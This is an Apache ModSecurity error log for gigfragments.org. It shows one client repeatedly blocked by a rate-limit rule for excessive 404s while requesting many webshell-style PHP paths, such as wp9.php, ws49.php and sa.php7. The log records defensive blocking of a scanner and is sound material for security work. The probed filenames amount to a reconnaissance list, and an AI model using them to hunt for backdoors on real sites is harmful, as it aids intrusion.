[Sat Apr 11 08:45:04.754857 2026] [:error] [pid 8040:tid 8043] [client 4.233.120.250:52938] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/motu.php"] [unique_id "admZkPT4I2pBpREXxbXfuwAAAAE"]
[Sat Apr 11 08:45:05.253544 2026] [:error] [pid 8040:tid 8063] [client 4.233.120.250:59018] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inputs.php"] [unique_id "admZkfT4I2pBpREXxbXfvQAAABU"]
[Sat Apr 11 08:45:05.735933 2026] [:error] [pid 7947:tid 8023] [client 4.233.120.250:55238] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inputs.php"] [unique_id "admZkRCvPKMuu97BGdh8MAAAAZM"]
[Sat Apr 11 08:45:06.285087 2026] [:error] [pid 7947:tid 8019] [client 4.233.120.250:59007] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inputs.php"] [unique_id "admZkhCvPKMuu97BGdh8OAAAAY8"]
[Sat Apr 11 08:45:06.821381 2026] [:error] [pid 7947:tid 8013] [client 4.233.120.250:60021] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inputs.php"] [unique_id "admZkhCvPKMuu97BGdh8OwAAAYk"]
[Sat Apr 11 08:45:07.433120 2026] [:error] [pid 7947:tid 8021] [client 4.233.120.250:60008] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp9.php"] [unique_id "admZkxCvPKMuu97BGdh8QAAAAZE"]
[Sat Apr 11 08:45:07.978376 2026] [:error] [pid 7947:tid 8015] [client 4.233.120.250:55824] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp9.php"] [unique_id "admZkxCvPKMuu97BGdh8QgAAAYs"]
[Sat Apr 11 08:45:08.549358 2026] [:error] [pid 8040:tid 8061] [client 4.233.120.250:65119] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp9.php"] [unique_id "admZlPT4I2pBpREXxbXfygAAABM"]
[Sat Apr 11 08:45:09.480440 2026] [:error] [pid 7945:tid 7970] [client 4.233.120.250:60027] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp9.php"] [unique_id "admZlbsDeeqOgGBoyiRSGQAAARU"]
[Sat Apr 11 08:45:10.179056 2026] [:error] [pid 8040:tid 8059] [client 4.233.120.250:59721] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/public/vx.php"] [unique_id "admZlvT4I2pBpREXxbXf1AAAABE"]
[Sat Apr 11 08:45:10.824081 2026] [:error] [pid 7946:tid 7988] [client 4.233.120.250:62066] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/public/vx.php"] [unique_id "admZlvrHdDmbz9V-HcGLVwAAAUs"]
[Sat Apr 11 08:45:11.353946 2026] [:error] [pid 8040:tid 8047] [client 4.233.120.250:39498] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/public/vx.php"] [unique_id "admZl_T4I2pBpREXxbXf4gAAAAU"]
[Sat Apr 11 08:45:11.911661 2026] [:error] [pid 7945:tid 7964] [client 4.233.120.250:55250] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/public/vx.php"] [unique_id "admZl7sDeeqOgGBoyiRSGgAAAQ8"]
[Sat Apr 11 08:45:12.470526 2026] [:error] [pid 7946:tid 7989] [client 4.233.120.250:62996] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inege.php"] [unique_id "admZmPrHdDmbz9V-HcGLXAAAAUw"]
[Sat Apr 11 08:45:13.130871 2026] [:error] [pid 7947:tid 8023] [client 4.233.120.250:65140] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inege.php"] [unique_id "admZmRCvPKMuu97BGdh8UAAAAZM"]
[Sat Apr 11 08:45:13.659725 2026] [:error] [pid 8040:tid 8046] [client 4.233.120.250:39535] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inege.php"] [unique_id "admZmfT4I2pBpREXxbXf6AAAAAQ"]
[Sat Apr 11 08:45:14.582082 2026] [:error] [pid 8040:tid 8060] [client 4.233.120.250:36400] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inege.php"] [unique_id "admZmvT4I2pBpREXxbXf8wAAABI"]
[Sat Apr 11 08:45:15.328067 2026] [:error] [pid 8040:tid 8047] [client 4.233.120.250:60002] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nw.php"] [unique_id "admZm_T4I2pBpREXxbXf-gAAAAU"]
[Sat Apr 11 08:45:16.040690 2026] [:error] [pid 8040:tid 8053] [client 4.233.120.250:36376] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nw.php"] [unique_id "admZnPT4I2pBpREXxbXgBwAAAAs"]
[Sat Apr 11 08:45:16.920879 2026] [:error] [pid 8040:tid 8064] [client 4.233.120.250:65116] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nw.php"] [unique_id "admZnPT4I2pBpREXxbXgDwAAABY"]
[Sat Apr 11 08:45:17.527194 2026] [:error] [pid 7945:tid 7950] [client 4.233.120.250:60833] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nw.php"] [unique_id "admZnbsDeeqOgGBoyiRSJQAAAQE"]
[Sat Apr 11 08:45:18.184849 2026] [:error] [pid 7945:tid 7967] [client 4.233.120.250:59775] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/t.php"] [unique_id "admZnrsDeeqOgGBoyiRSKgAAARI"]
[Sat Apr 11 08:45:18.779096 2026] [:error] [pid 8040:tid 8044] [client 4.233.120.250:56498] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/t.php"] [unique_id "admZnvT4I2pBpREXxbXgFAAAAAI"]
[Sat Apr 11 08:45:19.876252 2026] [:error] [pid 7945:tid 7970] [client 4.233.120.250:63020] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/t.php"] [unique_id "admZn7sDeeqOgGBoyiRSMQAAARU"]
[Sat Apr 11 08:45:20.532179 2026] [:error] [pid 7947:tid 8024] [client 4.233.120.250:12782] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/t.php"] [unique_id "admZoBCvPKMuu97BGdh8YwAAAZQ"]
[Sat Apr 11 08:45:21.052883 2026] [:error] [pid 7945:tid 7962] [client 4.233.120.250:58999] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-p2r3q9c8k4.php"] [unique_id "admZobsDeeqOgGBoyiRSNwAAAQ0"]
[Sat Apr 11 08:45:21.602583 2026] [:error] [pid 7947:tid 8020] [client 4.233.120.250:58996] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-p2r3q9c8k4.php"] [unique_id "admZoRCvPKMuu97BGdh8awAAAZA"]
[Sat Apr 11 08:45:22.239378 2026] [:error] [pid 7947:tid 8026] [client 4.233.120.250:63018] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-p2r3q9c8k4.php"] [unique_id "admZohCvPKMuu97BGdh8bgAAAZY"]
[Sat Apr 11 08:45:22.901200 2026] [:error] [pid 7947:tid 8009] [client 4.233.120.250:58968] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-p2r3q9c8k4.php"] [unique_id "admZohCvPKMuu97BGdh8dQAAAYU"]
[Sat Apr 11 08:45:23.550533 2026] [:error] [pid 7947:tid 8026] [client 4.233.120.250:65111] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/public/ws49.php"] [unique_id "admZoxCvPKMuu97BGdh8eQAAAZY"]
[Sat Apr 11 08:45:24.037542 2026] [:error] [pid 7945:tid 7971] [client 4.233.120.250:65468] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/public/ws49.php"] [unique_id "admZpLsDeeqOgGBoyiRSQgAAARY"]
[Sat Apr 11 08:45:24.607750 2026] [:error] [pid 7946:tid 7996] [client 4.233.120.250:36387] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/public/ws49.php"] [unique_id "admZpPrHdDmbz9V-HcGLbAAAAVM"]
[Sat Apr 11 08:45:25.271198 2026] [:error] [pid 8040:tid 8050] [client 4.233.120.250:39509] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/public/ws49.php"] [unique_id "admZpfT4I2pBpREXxbXgLAAAAAg"]
[Sat Apr 11 08:45:25.807614 2026] [:error] [pid 8040:tid 8054] [client 4.233.120.250:63022] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gifclass.php"] [unique_id "admZpfT4I2pBpREXxbXgLwAAAAw"]
[Sat Apr 11 08:45:26.397766 2026] [:error] [pid 8040:tid 8051] [client 4.233.120.250:65461] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gifclass.php"] [unique_id "admZpvT4I2pBpREXxbXgMgAAAAk"]
[Sat Apr 11 08:45:26.973811 2026] [:error] [pid 8040:tid 8057] [client 4.233.120.250:58698] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gifclass.php"] [unique_id "admZpvT4I2pBpREXxbXgNwAAAA8"]
[Sat Apr 11 08:45:27.649361 2026] [:error] [pid 8040:tid 8056] [client 4.233.120.250:58972] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gifclass.php"] [unique_id "admZp_T4I2pBpREXxbXgOQAAAA4"]
[Sat Apr 11 08:45:28.429794 2026] [:error] [pid 8040:tid 8058] [client 4.233.120.250:62995] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sa.php7"] [unique_id "admZqPT4I2pBpREXxbXgPQAAABA"]
[Sat Apr 11 08:45:29.052127 2026] [:error] [pid 8040:tid 8062] [client 4.233.120.250:59761] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sa.php7"] [unique_id "admZqfT4I2pBpREXxbXgQQAAABQ"]
[Sat Apr 11 08:45:29.689285 2026] [:error] [pid 8040:tid 8066] [client 4.233.120.250:59413] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sa.php7"] [unique_id "admZqfT4I2pBpREXxbXgRgAAABg"]
[Sat Apr 11 08:45:30.187718 2026] [:error] [pid 8040:tid 8060] [client 4.233.120.250:63029] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sa.php7"] [unique_id "admZqvT4I2pBpREXxbXgSgAAABI"]
[Sat Apr 11 08:45:30.810119 2026] [:error] [pid 7946:tid 8000] [client 4.233.120.250:58982] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jp.php"] [unique_id "admZqvrHdDmbz9V-HcGLewAAAVc"]
[Sat Apr 11 08:45:31.483208 2026] [:error] [pid 8040:tid 8045] [client 4.233.120.250:39524] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jp.php"] [unique_id "admZq_T4I2pBpREXxbXgVQAAAAM"]
[Sat Apr 11 08:45:32.189819 2026] [:error] [pid 7945:tid 7957] [client 4.233.120.250:60003] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jp.php"] [unique_id "admZrLsDeeqOgGBoyiRSTwAAAQg"]
[Sat Apr 11 08:45:32.955575 2026] [:error] [pid 7946:tid 7982] [client 4.233.120.250:59716] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jp.php"] [unique_id "admZrPrHdDmbz9V-HcGLhAAAAUU"]
[Sat Apr 11 08:45:33.481838 2026] [:error] [pid 7946:tid 7995] [client 4.233.120.250:36381] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-good.php"] [unique_id "admZrfrHdDmbz9V-HcGLiQAAAVI"]
[Sat Apr 11 08:45:34.178698 2026] [:error] [pid 7947:tid 8014] [client 4.233.120.250:36367] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-good.php"] [unique_id "admZrhCvPKMuu97BGdh8pwAAAYo"]
[Sat Apr 11 08:45:35.302326 2026] [:error] [pid 7946:tid 7984] [client 4.233.120.250:58694] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-good.php"] [unique_id "admZr_rHdDmbz9V-HcGLkgAAAUc"]
[Sat Apr 11 08:45:36.150673 2026] [:error] [pid 7946:tid 7985] [client 4.233.120.250:60862] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-good.php"] [unique_id "admZsPrHdDmbz9V-HcGLlQAAAUg"]
[Sat Apr 11 08:45:36.821082 2026] [:error] [pid 7946:tid 7979] [client 4.233.120.250:45315] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a5.php"] [unique_id "admZsPrHdDmbz9V-HcGLmgAAAUI"]
[Sat Apr 11 08:45:37.464627 2026] [:error] [pid 7947:tid 8008] [client 4.233.120.250:46793] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a5.php"] [unique_id "admZsRCvPKMuu97BGdh8wwAAAYQ"]
[Sat Apr 11 08:45:38.153884 2026] [:error] [pid 7947:tid 8023] [client 4.233.120.250:48055] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a5.php"] [unique_id "admZshCvPKMuu97BGdh8ywAAAZM"]
[Sat Apr 11 08:45:38.741466 2026] [:error] [pid 8040:tid 8054] [client 4.233.120.250:56449] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a5.php"] [unique_id "admZsvT4I2pBpREXxbXgaQAAAAw"]
[Sat Apr 11 08:45:39.314100 2026] [:error] [pid 8040:tid 8065] [client 4.233.120.250:55828] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/amp.php"] [unique_id "admZs_T4I2pBpREXxbXgbgAAABc"]
[Sat Apr 11 08:45:39.941023 2026] [:error] [pid 7946:tid 7979] [client 4.233.120.250:63769] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/amp.php"] [unique_id "admZs_rHdDmbz9V-HcGLpQAAAUI"]
[Sat Apr 11 08:45:40.881310 2026] [:error] [pid 7945:tid 7968] [client 4.233.120.250:59988] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/amp.php"] [unique_id "admZtLsDeeqOgGBoyiRSZQAAARM"]
[Sat Apr 11 08:45:41.620838 2026] [:error] [pid 8040:tid 8064] [client 4.233.120.250:55866] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/amp.php"] [unique_id "admZtfT4I2pBpREXxbXgfwAAABY"]
